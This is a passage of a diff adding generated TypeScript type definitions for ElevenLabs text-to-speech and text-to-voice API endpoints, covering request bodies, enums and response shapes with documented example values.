elevenlabsPostV1TextToSpeechVoiceIdRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToSpeechVoiceIdRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToSpeechVoiceIdRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToSpeechVoiceIdRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToSpeechVoiceIdBody = { + /** + * @description The text that will get converted into speech. + * @example This is a test for the API of ElevenLabs. + * @type string + */ + text: string + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_multilingual_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. + */ + voice_settings?: VoiceSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example In the heart of a lush valley surrounded by towering mountains lies the quaint village of Willowbrook. + */ + previous_text?: string | null + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example The Willowbrook Festival, held every spring, celebrates the blossoming of the wild bluebells that carpet the nearby forest floors, creating a breathtaking sea of blue under the canopy of fresh green leaves. + */ + next_text?: string | null + /** + * @description A list of request_id of the samples that were generated before this generation. Can be used to improve the speech's continuity when splitting up a large task into multiple requests. The results will be best when the same model is used across the generations. In case both previous_text and previous_request_ids is send, previous_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["09bOJkdYVjKy2oOiiVtR","0p2uKqOnZyce22SPZ9d5","1KYvY8WZAKmcjCJ1mvVB"] + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_id of the samples that come after this generation. next_request_ids is especially useful for maintaining the speech's continuity when regenerating a sample that has had some audio quality issues. For example, if you have generated 3 speech clips, and you want to improve clip 2, passing the request id of clip 3 as a next_request_id (and that of clip 1 as a previous_request_id) will help maintain natural flow in the combined speech. The results will be best when the same model is used across the generations. In case both next_text and next_request_ids is send, next_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["3tPgBrD1UdW3snUkGw1K","4D1jAxiRFkolBNUGzXkU","4c8Z4aWliVR2oipYRXhj"] + */ + next_request_ids?: string[] | null + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToSpeechVoiceIdRequestApplyTextNormalizationEnumKey + /** + * @description This parameter controls language text normalization. This helps with proper pronunciation of text in some supported languages. WARNING: This parameter can heavily increase the latency of the request. Currently only supported for Japanese. + * @default false + * @example true + * @type boolean | undefined + */ + apply_language_text_normalization?: boolean + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdOptions = { + body: ElevenlabsPostV1TextToSpeechVoiceIdBody + path: ElevenlabsPostV1TextToSpeechVoiceIdPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdResponses = { + '200': ElevenlabsPostV1TextToSpeechVoiceIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdResponse = + ElevenlabsPostV1TextToSpeechVoiceIdStatus200 + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamPath = { + voice_id: string +} + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamStatus200 = Blob + +export const elevenlabsPostV1TextToSpeechVoiceIdStreamRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToSpeechVoiceIdStreamRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToSpeechVoiceIdStreamRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamBody = { + /** + * @description The text that will get converted into speech. + * @example This is a test for the API of ElevenLabs. + * @type string + */ + text: string + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_multilingual_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. + */ + voice_settings?: VoiceSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example In the heart of a lush valley surrounded by towering mountains lies the quaint village of Willowbrook. + */ + previous_text?: string | null + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example The Willowbrook Festival, held every spring, celebrates the blossoming of the wild bluebells that carpet the nearby forest floors, creating a breathtaking sea of blue under the canopy of fresh green leaves. + */ + next_text?: string | null + /** + * @description A list of request_id of the samples that were generated before this generation. Can be used to improve the speech's continuity when splitting up a large task into multiple requests. The results will be best when the same model is used across the generations. In case both previous_text and previous_request_ids is send, previous_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["09bOJkdYVjKy2oOiiVtR","0p2uKqOnZyce22SPZ9d5","1KYvY8WZAKmcjCJ1mvVB"] + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_id of the samples that come after this generation. next_request_ids is especially useful for maintaining the speech's continuity when regenerating a sample that has had some audio quality issues. For example, if you have generated 3 speech clips, and you want to improve clip 2, passing the request id of clip 3 as a next_request_id (and that of clip 1 as a previous_request_id) will help maintain natural flow in the combined speech. The results will be best when the same model is used across the generations. In case both next_text and next_request_ids is send, next_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["3tPgBrD1UdW3snUkGw1K","4D1jAxiRFkolBNUGzXkU","4c8Z4aWliVR2oipYRXhj"] + */ + next_request_ids?: string[] | null + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToSpeechVoiceIdStreamRequestApplyTextNormalizationEnumKey + /** + * @description This parameter controls language text normalization. This helps with proper pronunciation of text in some supported languages. WARNING: This parameter can heavily increase the latency of the request. Currently only supported for Japanese. + * @default false + * @example true + * @type boolean | undefined + */ + apply_language_text_normalization?: boolean + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamOptions = { + body: ElevenlabsPostV1TextToSpeechVoiceIdStreamBody + path: ElevenlabsPostV1TextToSpeechVoiceIdStreamPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamResponses = { + '200': ElevenlabsPostV1TextToSpeechVoiceIdStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamResponse = + ElevenlabsPostV1TextToSpeechVoiceIdStreamStatus200 + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsPath = { + voice_id: string +} + +/** + * @example {"alignment":{"character_end_times_seconds":[0.1,0.2],"character_start_times_seconds":[0,0.1],"characters":["H","e"]},"audio_base64":"base64_encoded_audio_chunk","normalized_alignment":{"character_end_times_seconds":[0.1,0.2],"character_start_times_seconds":[0,0.1],"characters":["H","e"]}} + * @type object + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsStatus200 = { + /** + * @description Base64 encoded audio data + * @type string + */ + audio_base64: string + /** + * @description Timestamp information for each character in the original text + */ + alignment?: CharacterAlignmentResponseModel | null + /** + * @description Timestamp information for each character in the normalized text + */ + normalized_alignment?: CharacterAlignmentResponseModel | null +} + +export const elevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsBody = { + /** + * @description The text that will get converted into speech. + * @example This is a test for the API of ElevenLabs. + * @type string + */ + text: string + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_multilingual_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. + */ + voice_settings?: VoiceSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + */ + pronunciation_dictionary_locators?: + | PronunciationDictionaryVersionLocatorRequestModel[] + | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example In the heart of a lush valley surrounded by towering mountains lies the quaint village of Willowbrook. + */ + previous_text?: string | null + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example The Willowbrook Festival, held every spring, celebrates the blossoming of the wild bluebells that carpet the nearby forest floors, creating a breathtaking sea of blue under the canopy of fresh green leaves. + */ + next_text?: string | null + /** + * @description A list of request_id of the samples that were generated before this generation. Can be used to improve the speech's continuity when splitting up a large task into multiple requests. The results will be best when the same model is used across the generations. In case both previous_text and previous_request_ids is send, previous_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["09bOJkdYVjKy2oOiiVtR","0p2uKqOnZyce22SPZ9d5","1KYvY8WZAKmcjCJ1mvVB"] + */ + previous_request_ids?: string[] | null + /** + * @description A list of request_id of the samples that come after this generation. next_request_ids is especially useful for maintaining the speech's continuity when regenerating a sample that has had some audio quality issues. For example, if you have generated 3 speech clips, and you want to improve clip 2, passing the request id of clip 3 as a next_request_id (and that of clip 1 as a previous_request_id) will help maintain natural flow in the combined speech. The results will be best when the same model is used across the generations. In case both next_text and next_request_ids is send, next_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["3tPgBrD1UdW3snUkGw1K","4D1jAxiRFkolBNUGzXkU","4c8Z4aWliVR2oipYRXhj"] + */ + next_request_ids?: string[] | null + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsRequestApplyTextNormalizationEnumKey + /** + * @description This parameter controls language text normalization. This helps with proper pronunciation of text in some supported languages. WARNING: This parameter can heavily increase the latency of the request. Currently only supported for Japanese. + * @default false + * @example true + * @type boolean | undefined + */ + apply_language_text_normalization?: boolean + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsOptions = { + body: ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsBody + path: ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsResponses = { + '200': ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsResponse = + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsStatus200 + +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsPath = { + voice_id: string +} + +/** + * @example {"alignment":{"character_end_times_seconds":[0.1,0.2,0.3,0.4,0.5],"character_start_times_seconds":[0,0.1,0.2,0.3,0.4],"characters":["H","e","l","l","o"]},"audio_base64":"base64_encoded_audio_string","normalized_alignment":{"character_end_times_seconds":[0.1,0.2,0.3,0.4,0.5],"character_start_times_seconds":[0,0.1,0.2,0.3,0.4],"characters":["H","e","l","l","o"]}} + * @type object + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsStatus200 = { + /** + * @description Base64 encoded audio data + * @type string + */ + audio_base64: string + /** + * @description Timestamp information for each character in the original text + */ + alignment?: CharacterAlignmentResponseModel | null + /** + * @description Timestamp information for each character in the normalized text + */ + normalized_alignment?: CharacterAlignmentResponseModel | null +} + +export const elevenlabsPostV1TextToSpeechVoiceIdWithTimestampsRequestApplyTextNormalizationEnum = + { + auto: 'auto', + on: 'on', + off: 'off', + } as const + +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsRequestApplyTextNormalizationEnumKey = + (typeof elevenlabsPostV1TextToSpeechVoiceIdWithTimestampsRequestApplyTextNormalizationEnum)[keyof typeof elevenlabsPostV1TextToSpeechVoiceIdWithTimestampsRequestApplyTextNormalizationEnum] + +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsBody = { + /** + * @description The text that will get converted into speech. + * @example This is a test for the API of ElevenLabs. + * @type string + */ + text: string + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for text to speech, you can check this using the can_do_text_to_speech property. + * @default 'eleven_multilingual_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Language code (ISO 639-1) used to enforce a language for the model and text normalization. If the model does not support the provided language code, it will be ignored. This parameter is not supported for multilingual_v2 models. + * @example en + */ + language_code?: string | null + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. + */ + voice_settings?: VoiceSettingsResponseModel | null + /** + * @description A list of pronunciation dictionary locators (id, version_id) to be applied to the text. They will be applied in order. You may have up to 3 locators per request + * @example [{"pronunciation_dictionary_id":"test","version_id":"id2"}] + * @type array | undefined + */ + pronunciation_dictionary_locators?: PronunciationDictionaryVersionLocatorRequestModel[] + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description The text that came before the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example In the heart of a lush valley surrounded by towering mountains lies the quaint village of Willowbrook. + */ + previous_text?: string | null + /** + * @description The text that comes after the text of the current request. Can be used to improve the speech's continuity when concatenating together multiple generations or to influence the speech's continuity in the current generation. + * @example The Willowbrook Festival, held every spring, celebrates the blossoming of the wild bluebells that carpet the nearby forest floors, creating a breathtaking sea of blue under the canopy of fresh green leaves. + */ + next_text?: string | null + /** + * @description A list of request_id of the samples that were generated before this generation. Can be used to improve the speech's continuity when splitting up a large task into multiple requests. The results will be best when the same model is used across the generations. In case both previous_text and previous_request_ids is send, previous_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["09bOJkdYVjKy2oOiiVtR","0p2uKqOnZyce22SPZ9d5","1KYvY8WZAKmcjCJ1mvVB"] + * @type array | undefined + */ + previous_request_ids?: string[] + /** + * @description A list of request_id of the samples that come after this generation. next_request_ids is especially useful for maintaining the speech's continuity when regenerating a sample that has had some audio quality issues. For example, if you have generated 3 speech clips, and you want to improve clip 2, passing the request id of clip 3 as a next_request_id (and that of clip 1 as a previous_request_id) will help maintain natural flow in the combined speech. The results will be best when the same model is used across the generations. In case both next_text and next_request_ids is send, next_text will be ignored. A maximum of 3 request_ids can be sent. + * @example ["3tPgBrD1UdW3snUkGw1K","4D1jAxiRFkolBNUGzXkU","4c8Z4aWliVR2oipYRXhj"] + * @type array | undefined + */ + next_request_ids?: string[] + /** + * @description Whether to use the IVC version of a professional voice. This may improve expressiveness and reduce latency. + * @example true + */ + use_pvc_as_ivc?: boolean | null + /** + * @description This parameter controls text normalization with three modes: 'auto', 'on', and 'off'. When set to 'auto', the system will automatically decide whether to apply text normalization (e.g., spelling out numbers). With 'on', text normalization will always be applied, while with 'off', it will be skipped. + * @default 'auto' + * @example true + * @type string | undefined + */ + apply_text_normalization?: ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsRequestApplyTextNormalizationEnumKey + /** + * @description This parameter controls language text normalization. This helps with proper pronunciation of text in some supported languages. WARNING: This parameter can heavily increase the latency of the request. Currently only supported for Japanese. + * @default false + * @example true + * @type boolean | undefined + */ + apply_language_text_normalization?: boolean + /** + * @description Audio effects applied to the generated audio. Unknown IDs return 404 with `param` naming the field. Reverb (`environment_id` with `send_level` above 0) and a non-zero `pan` produce stereo audio and are rejected with 400 for `ulaw_*`, `alaw_*`, and `pcm_*` output formats. Effects don't change the cost of the request. + */ + audio_effects?: EffectsSpecInput | null +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsOptions = { + body: ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsBody + path: ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsResponses = { + '200': ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsResponse = + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsStatus200 + +export const elevenlabsPostV1TextToVoiceStatus200CategoryEnum = { + generated: 'generated', + cloned: 'cloned', + premade: 'premade', + professional: 'professional', + famous: 'famous', + high_quality: 'high_quality', +} as const + +export type ElevenlabsPostV1TextToVoiceStatus200CategoryEnumKey = + (typeof elevenlabsPostV1TextToVoiceStatus200CategoryEnum)[keyof typeof elevenlabsPostV1TextToVoiceStatus200CategoryEnum] + +export const elevenlabsPostV1TextToVoiceStatus200SafetyControl = { + NONE: 'NONE', + BAN: 'BAN', + CAPTCHA: 'CAPTCHA', + ENTERPRISE_BAN: 'ENTERPRISE_BAN', + ENTERPRISE_CAPTCHA: 'ENTERPRISE_CAPTCHA', +} as const + +export type ElevenlabsPostV1TextToVoiceStatus200SafetyControlKey = + (typeof elevenlabsPostV1TextToVoiceStatus200SafetyControl)[keyof typeof elevenlabsPostV1TextToVoiceStatus200SafetyControl] + +export const elevenlabsPostV1TextToVoiceStatus200RecordingQuality = { + studio: 'studio', + good: 'good', + ok: 'ok', + poor: 'poor', + bad: 'bad', +} as const + +export type ElevenlabsPostV1TextToVoiceStatus200RecordingQualityKey = + (typeof elevenlabsPostV1TextToVoiceStatus200RecordingQuality)[keyof typeof elevenlabsPostV1TextToVoiceStatus200RecordingQuality] + +export const elevenlabsPostV1TextToVoiceStatus200LabellingStatus = { + in_review: 'in_review', + review_complete: 'review_complete', +} as const + +export type ElevenlabsPostV1TextToVoiceStatus200LabellingStatusKey = + (typeof elevenlabsPostV1TextToVoiceStatus200LabellingStatus)[keyof typeof elevenlabsPostV1TextToVoiceStatus200LabellingStatus] + +/** + * @example {"available_for_tiers":["creator","enterprise"],"category":"professional","description":"A warm, expressive voice with a touch of humor.","fine_tuning":{"is_allowed_to_fine_tune":true,"manual_verification_requested":false,"state":{"eleven_multilingual_v2":"fine_tuned"},"verification_attempts_count":2,"verification_failures":[]},"high_quality_base_model_ids":["eleven_v2_flash","eleven_flash_v2","eleven_turbo_v2_5","eleven_multilingual_v2","eleven_v2_5_flash","eleven_flash_v2_5","eleven_turbo_v2"],"is_legacy":false,"is_mixed":false,"is_owner":false,"labels":{"accent":"American","age":"middle-aged","description":"expressive","gender":"female","use_case":"social media"},"name":"Rachel","preview_url":"https://storage.googleapis.com/eleven-public-prod/premade/voices/9BWtsMINqrJLrRacOk9x/405766b8-1f4e-4d3c-aba1-6f25333823ec.mp3","settings":{"similarity_boost":1,"speed":1,"stability":1,"style":0,"use_speaker_boost":true},"sharing":{"category":"professional","cloned_by_count":50,"date_unix":1714204800,"description":"A female voice with a soft and friendly tone.","disable_at_unix":1714204800,"enabled_in_library":true,"featured":true,"financial_rewards_enabled":true,"free_users_allowed":true,"history_item_sample_id":"DCwhRBWXzGAHq8TQ4Fs18","labels":{"accent":"American","gender":"female"},"liked_by_count":100,"live_moderation_enabled":true,"moderation_check":{"captcha_checks":[0.95,0.98],"captcha_ids":["captcha1","captcha2"],"date_checked_unix":1714204800,"description_check":true,"description_value":"A female voice with a soft and friendly tone.","name_check":true,"name_value":"Rachel","sample_checks":[0.95,0.98],"sample_ids":["sample1","sample2"]},"name":"Rachel","notice_period":30,"original_voice_id":"DCwhRBWXzGAHq8TQ4Fs18","public_owner_id":"DCwhRBWXzGAHq8TQ4Fs18","rate":0.05,"reader_app_enabled":true,"reader_restricted_on":[{"resource_id":"FCwhRBWXzGAHq8TQ4Fs18","resource_type":"read"}],"review_status":"allowed","status":"enabled","voice_mixing_allowed":false,"whitelisted_emails":["example@example.com"]},"verified_languages":[{"accent":"american","language":"en","locale":"en-US","model_id":"eleven_multilingual_v2","preview_url":"https://storage.googleapis.com/eleven-public-prod/premade/voices/9BWtsMINqrJLrRacOk9x/405766b8-1f4e-4d3c-aba1-6f25333823ec.mp3"}],"voice_id":"21m00Tcm4TlvDq8ikWAM","voice_verification":{"is_verified":true,"language":"en","requires_verification":false,"verification_attempts":[{"accepted":true,"date_unix":1714204800,"levenshtein_distance":2,"recording":{"mime_type":"audio/mpeg","recording_id":"CwhRBWXzGAHq8TQ4Fs17","size_bytes":1000000,"transcription":"Hello, how are you?","upload_date_unix":1714204800},"similarity":0.95,"text":"Hello, how are you?"}],"verification_attempts_count":0,"verification_failures":[]}} + * @type object + */ +export type ElevenlabsPostV1TextToVoiceStatus200 = { + /** + * @description The ID of the voice. + * @type string + */ + voice_id: string + /** + * @description The name of the voice. + * @type string + */ + name: string + /** + * @description List of samples associated with the voice. + */ + samples?: SampleResponseModel[] | null + /** + * @description The category of the voice. + * @type string + */ + category: ElevenlabsPostV1TextToVoiceStatus200CategoryEnumKey + /** + * @description Fine-tuning information for the voice. + */ + fine_tuning?: FineTuningResponseModel | null + /** + * @description Labels associated with the voice. + * @type object + */ + labels: { + [key: string]: string + } + /** + * @description The description of the voice. + */ + description?: string | null + /** + * @description The preview URL of the voice. + */ + preview_url?: string | null + /** + * @description The tiers the voice is available for. + * @type array + */ + available_for_tiers: string[] + /** + * @description The settings of the voice. + */ + settings?: VoiceSettingsResponseModel | null + /** + * @description The sharing information of the voice. + */ + sharing?: VoiceSharingResponseModel | null + /** + * @description The base model IDs for high-quality voices. + * @type array + */ + high_quality_base_model_ids: string[] + /** + * @description The verified languages of the voice. + */ + verified_languages?: VerifiedVoiceLanguageResponseModel[] | null + /** + * @description The IDs of collections this voice belongs to. + */ + collection_ids?: string[] | null + /** + * @description The safety controls of the voice. + */ + safety_control?: ElevenlabsPostV1TextToVoiceStatus200SafetyControlKey | null + /** + * @description The voice verification of the voice. + */ + voice_verification?: VoiceVerificationResponseModel | null + /** + * @description The permission on the resource of the voice. + */ + permission_on_resource?: string | null + /** + * @description Whether the voice is owned by the user. + */ + is_owner?: boolean | null + /** + * @description Whether the voice is legacy. + * @default false + * @type boolean | undefined + */ + is_legacy?: boolean + /** + * @description Whether the voice is mixed. + * @default false + * @type boolean | undefined + */ + is_mixed?: boolean + /** + * @description Timestamp when the voice was marked as favorite in Unix time. + */ + favorited_at_unix?: number | null + /** + * @description The creation time of the voice in Unix time. + */ + created_at_unix?: number | null + /** + * @description Whether the voice is bookmarked by the current user. Only relevant for community (library-copied) voices. + */ + is_bookmarked?: boolean | null + /** + * @description The recording quality of the voice as determined by the review pipeline. + */ + recording_quality?: ElevenlabsPostV1TextToVoiceStatus200RecordingQualityKey | null + /** + * @description The review pipeline status of the voice. + */ + labelling_status?: ElevenlabsPostV1TextToVoiceStatus200LabellingStatusKey | null + /** + * @description The reason for the recording quality assessment, as determined by the review pipeline. + */ + recording_quality_reason?: string | null +} + +export type ElevenlabsPostV1TextToVoiceBody = { + /** + * @description Name to use for the created voice. + * @example Sassy squeaky mouse + * @type string + */ + voice_name: string + /** + * @description Description to use for the created voice. + * @minLength 20 + * @maxLength 1000 + * @example A sassy squeaky mouse + * @type string + */ + voice_description: string + /** + * @description The generated_voice_id to create; obtain it from POST /v1/text-to-voice/design, POST /v1/text-to-voice/:voice_id/remix, or the response headers when generating previews. + * @example 37HceQefKmEi3bGovXjL + * @type string + */ + generated_voice_id: string + /** + * @description Optional, metadata to add to the created voice. Defaults to None. + * @example {"language":"en"} + */ + labels?: { + [key: string]: string + } | null + /** + * @description List of voice ids that the user has played but not selected. Used for RLHF. + */ + played_not_selected_voice_ids?: string[] | null +} + +export type ElevenlabsPostV1TextToVoiceOptions = { + body: ElevenlabsPostV1TextToVoiceBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1TextToVoiceResponses = { + '200': ElevenlabsPostV1TextToVoiceStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1TextToVoiceResponse = + ElevenlabsPostV1TextToVoiceStatus200 + +export type ElevenlabsPostV1TextToVoiceCreatePreviewsStatus200 = { + /** + * @description The previews of the generated voices. + * @type array + */ + previews: VoicePreviewResponseModel[] + /** + * @description The text used to preview the voices. + * @type string + */ + text: string +} + +export type ElevenlabsPostV1TextToVoiceCreatePreviewsBody = { + /** + * @description Description to use for the created voice. + * @minLength 20 + * @maxLength 1000 + * @example A sassy squeaky mouse + * @type string + */ + voice_description: string + /** + * @description Text to generate, text length has to be between 100 and 1000. + * @example Every act of kindness, no matter how small, carries value and can make a difference, as no gesture of goodwill is ever wasted. + */ + text?: string | null + /** + * @description Whether to automatically generate a text suitable for the voice description. + * @default false + * @type boolean | undefined + */ + auto_generate_text?: boolean + /** + * @description Controls the volume level of the generated voice. -1 is quietest, 1 is loudest, 0 corresponds to roughly -24 LUFS. + * @minimum -1 + * @maximum 1 + * @default 0.5 + * @example 0.5 + * @type number | undefined + */ + loudness?: number + /** + * @description Higher quality results in better voice output but less variety. + * @minimum -1 + * @maximum 1 + * @default 0.9 + * @example 0.9 + * @type number | undefined + */ + quality?: number + /** + * @description Random number that controls the voice generation. Same seed with same inputs produces same voice. + * @example 11 + */ + seed?: number | null + /** + * @description Controls how closely the AI follows the prompt. Lower numbers give the AI more freedom to be creative, while higher numbers force it to stick more to the prompt. High numbers can cause voice to sound artificial or robotic. We recommend to use longer, more detailed prompts at lower Guidance Scale. + * @minimum 0 + * @maximum 100 + * @default 5 + * @example 5 + * @type number | undefined + */ + 